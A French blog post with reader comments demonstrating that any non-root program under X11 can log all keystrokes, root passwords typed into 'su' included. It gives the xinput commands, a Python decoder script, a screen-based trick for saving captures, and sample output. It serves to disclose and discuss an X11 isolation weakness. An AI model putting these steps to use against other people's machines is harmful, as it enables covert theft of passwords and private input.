~rom1v/blog { un blog libre }

Keylogger sous GNU/Linux : enregistrer les touches tapées au clavier

En tant que root, il est bien sûr potentiellement possible de faire ce que l’on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger).

keyboard

Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root.

Démonstration

Et en plus, c’est tout simple : il suffit pour un programme d’écouter les événements clavier envoyés par le serveur X. Prenons un outil qui le fait déjà (ça nous évitera de le coder), xinput :

sudo apt-get install xinput

Pour obtenir la liste des périphériques utilisables :

xinput list

Repérer la ligne concernant le clavier (contenant « AT ») et noter son id (ici 11).

$ xinput list | grep AT
    ↳ AT Translated Set 2 keyboard            	id=11	[slave  keyboard (3)]

Puis démarrer l’écoute sur ce périphérique dans un terminal :

xinput test 11

Au fur et à mesure que l’on tape du texte, la sortie standard de xinput indique quelles touches sont tapées :

key press   56 
key release 56 
key press   32 
key release 32 
key press   57 
key release 57 
key press   44 
key release 44 
key press   32 
key press   30 
key release 32 
key release 30 
key press   27 
key release 27

Cela fonctionne même lorsqu’on écrit dans une autre application, quelque soit l’utilisateur qui l’a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le mot de passe est bien capturé :

$ su -
Mot de passe : 

Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au clavier (et donc l’enregistrer, l’envoyer à un serveur…).

Décodage

Convertisseur

La sortie de xinput n’est pas très utilisable en pratique. Pour la décoder, un programme d’une vingtaine de lignes en Python suffit (fortement inspiré de ce PoC). Appelons-le xinput-decoder.py :

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import re, sys
from subprocess import *

def get_keymap():
    keymap = {}
    table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
    for line in table:
        m = re.match('keycode +(\d+) = (.+)', line.decode())
        if m and m.groups()[1]:
            keymap[m.groups()[0]] = m.groups()[1].split()[0]
    return keymap

if __name__ == '__main__':
    keymap = get_keymap();
    for line in sys.stdin:
        m = re.match('key press +(\d+)', line.decode())
        if m:
            keycode = m.groups()[0]
            if keycode in keymap:
                print keymap[keycode],
            else:
                print '?' + keycode,

Pour convertir le résultat à la volée :

xinput test 11 | ./xinput-decoder.py

Problème de redirection

Le problème, c’est que lorsqu’on redirige la sortie de xinput dans un fichier ou en entrée d’un autre programme, le contenu ne s’affiche que par salves (d’environ 128 caractères apparemment). Sans doute une histoire de buffer, à mon avis activé uniquement lorsque la fonction isatty() retourne true.

http://www.kernel.org/doc/man-pages/online/pages/man3/isatty.3.html

Pour contourner le problème et récupérer les dernières touches tapées, il est possible de démarrer la commande dans un screen :

screen xinput test 11

puis, à la fin de la capture, d’enregistrer le contenu dans un fichier. Pour cela, dans le screen ainsi ouvert, taper Ctrl+A, :, puis hardcopy -h /tmp/log. De cette manière, /tmp/log contiendra toute la capture.

Pour convertir le résultat :

$ ./xinput-parser.py < /tmp/log
s u space minus Return p a s s w o r d Return a p t minus g e t space u p d a t e Return Control_L a colon

Améliorations

Une solution plus pratique serait peut-être de démarrer xinput par le programme Python, en lui faisant croire qu’il écrit dans un TTY (ce que je ne sais pas faire). Quelqu’un l’a fait en Perl.

Il faudrait également prendre en compte le relâchement des touches dans le décodeur, car lorsqu’il affiche Shift_L a b, nous n’avons aucun moyen de savoir si la touche Shift a été relâchée avant le a, entre le a et le b, ou après le b.

Liens

Merci à Papillon-butineur de m’avoir fait découvrir ce fonctionnement étonnant du serveur X.

Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires : The Linux Security Circus: On GUI isolation.

EDIT : En 2016, tuxicoman a proposé une implémentation en C++.

Commentaires

fylefou

Ca craint quand même . surtout pour le mot de passe root. faudrait peut etre que X11 gère ce que je considererai comme une faille.

krominet

même avec SSH ?

Huy
# unset DISPLAY
# xinput --list
Unable to connect to X server
G-rom

Ça n’impacte pas de choses importantes la variable DISPLAY ?

Huy

Pour compléter mon commentaire précédent, si on utilise xauth - ce qui est normalement fait par défaut, il n’est pas possible pour un utilisateur qui n’a pas accès au fichier d’autorisations (donc a priori tout le monde sauf root) de communiquer avec le serveur X.

®om

@krominet

même avec SSH ?

Si tu demandes s’il est possible d’écouter à distance les touches tapées dans un environnement graphique sur une machine à laquelle tu as accès par SSH, la réponse est oui (selon la configuration du serveur SSH).

Au moins l’une des trois solutions suivante doit marcher (j’éditerai ce message quand j’aurai testé) :

  • utiliser ssh -X ;
  • export DISPLAY=:0 avant de lancer xinput ;
  • les deux.

EDIT : En fait, ces solutions ne fonctionnent pas (voir le commentaire de Huy).

Si tu demandes s’il est possible d’écouter ce que tu écris dans un terminal en SSH sur un serveur, la réponse est non, car alors tu n’utilises pas le serveur X du serveur.

De même, tout ce que tu écris dans un TTY (auquel tu accèdes par Ctrl+Alt+F1 par exemple) ne sera pas capturé.

(Ctrl+Alt+F7 permet de revenir à l’environnement graphique, je préfère le préciser pour ceux qui testeraient Ctrl+Alt+F1 sans connaître.)

®om

@Huy

Pour compléter mon commentaire précédent, si on utilise xauth – ce qui est normalement fait par défaut, il n’est pas possible pour un utilisateur qui n’a pas accès au fichier d’autorisations (donc a priori tout le monde sauf root) de communiquer avec le serveur X.

Si un utilisateur ne peut pas démarrer un programme qui communique avec le serveur X, il ne peut lancer aucune application graphique, si ?

Huy

Non, un utilisateur Y ne pourra pas se connecter au serveur X de l’utilisateur Z et ne pourra par conséquent pas lancer d’application graphique sur ce dernier.

La commande ssh -X permet de connecter une machine distante au serveur X local, ça ne permettra donc pas d’utiliser xinput sur l’affichage graphique distant. De même, exporter la variable DISPLAY n’est sans doute pas suffisant sur une machine distante, à cause de xauth. Par contre, si Y a accès /var/run/{light|g|k}dm/*, il pourra lancer autant de xinput qu’il le souhaite.

Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root.

Je vois pas pourquoi ça serait incroyable ou inquiétant. Le programme que tu lances est démarré de la même façon qu’un gestionnaire de fenêtre entre autre, or ce dernier, par exemple, a besoin de savoir ce que tu tapes.

®om

@tuxce

Que le gestionnaire de fenêtres ait besoin de savoir ce que tu tapes, c’est une chose. Que chacun des programme puisse savoir ce qui est tapé dans chacun des autres en est une autre.

2 programmes lancés avec les mêmes droits auront les mêmes accès, tous les programmes lancés par l’utilisateur peuvent écrire / lire dans son $HOME, ils peuvent monter / démonter des partitions etc.

Accéder à X est du même ordre. Il n’y a pas de différence entre un programme gérant des raccourcis globaux ou le keylogger

Paradoxe

D’où l’utilité des système de sécurité plus poussé, telle SELinux.

G-rom

En même temps la personne qui installerait un tel programme sur son pc ça serait l’utilisateur. Donc on revient à deux problèmes :

  • la confiance envers les dev d’un logiciel qu’on installe.
  • le bug entre la chaise et le clavier qui installe n’importe quoi.

Ah, ceci est pratique pour connaitre les numéros des touches.

:)

Merci !

regarde du coté de http://sourceforge.net/apps/mediawiki/pykeylogger/index.php?title=Installation_Instructions

et de python-xlib. Ca devrait te permettre de récupérer les données clavier dans python directement.

C’est clair que ça fout les boules de savoir qu’il n’y a pas de séparations entre les applications !!!

@le hollandais volant

Ah, ceci est pratique pour connaitre les numéros des touches.

Pour cet usage, il y a un utilitaire dédié qui se nomme xev. Il lance une petite fenêtre où tout cela s’affiche, y compris les coordonnées des déplacements de la souris.

krs

Chez moi la commande « xinput test 11 » ne me donne pas les numéro des touches, mais se contente d’afficher les lettres que je tappe. comment faire pour connaitre les numéro des touches? (en fait je cherche ça pour remapper mon clavier)

®om

@krs Si les lettres que tu tapes sont affichées, c’est juste que ton terminal a le focus (ce n’est pas la sortie de xinput). Si tu n’as rien d’autre, c’est que xinput n’affiche rien.

Es-tu sûr de l’id ? Que donne la commande :

xinput list | grep AT

?

[…] déjà utilisé la commande xinput pour me faire des raccourcies, mais j’avais pas pensé à cette utilisation détourné ! Le serveur X tournant via l’utilisateur root, l’intérêt est […]

[…] Rom1v a récemment mis le doigt sur un problème actuel de la sécurité sous GNU/Linux : Une application utilisateur peut très facilement enregistrer toutes les frappes clavier de l’utilis…. […]

alexx

Pour ma part, je n’ai pas de AT dans les lignes

xinput list | grep AT me renvoit rien.

J’ai ceci

$ xinput list
⎡ Virtual core pointer                      id=2    [master pointer  (3)]
⎜   ↳ Virtual core XTEST pointer                id=4    [slave  pointer  (2)]
⎜   ↳ Logitech G500                             id=9    [slave  pointer  (2)]
⎜   ↳ Logitech G500                             id=10   [slave  pointer  (2)]
⎜   ↳ HID 0b38:0010                             id=12   [slave  pointer  (2)]
⎣ Virtual core keyboard                     id=3    [master keyboard (2)]
    ↳ Virtual core XTEST keyboard               id=5    [slave  keyboard (3)]
    ↳ Power Button                              id=6    [slave  keyboard (3)]
    ↳ Video Bus                                 id=7    [slave  keyboard (3)]
    ↳ Power Button                              id=8    [slave  keyboard (3)]
    ↳ HID 0b38:0010
arn0

Salut Rom dit moi je n’arrive pas a faire ctrl +a dans screen serait tu pourquoi j’ai un message :

no other window mais impossible de taper hardcopy dedans

arn0

J’ai rien dit ^^ pas réveillé xD.par contre cela n’as pas l’air d’être écrit en direct ?

Doupod

Est-il possible de s’en protéger ? Peut on desinstaller xinput ou est-ce un paquet essentiel ? Merci

®om

@Doupod

xinput n’est pas installé par défaut, mais le problème n’est pas là.

Ce n’est qu’un POC qui montre qu’une appli non-root peut accéder aux touches tapées par l’utilisateur. N’importe quelle application peut faire la même chose que ce que fait xinput.

cpamoi

xinput est installé par défaut sous 10.04 /12.04 j’ai vérifié il y en a une (distri) qui ne l’installe pas par défaut,me semble que c’est debian . a vérifier

®om

@cpamoi Une petite parenthèse, qu’il soit pré-installé ou non ne change rien au problème.

Ce qu’il montre, c’est qu’un programme non-root a accès à tous les événements X. N’importe quel programme non-root y a donc accès, ne serait-ce qu’en faisant la même chose que xinput

joseph-tux

Sur ma Jessie (Debian stable à cette date), xinput n’est pas installé d’office.

Les commentaires sont fermés.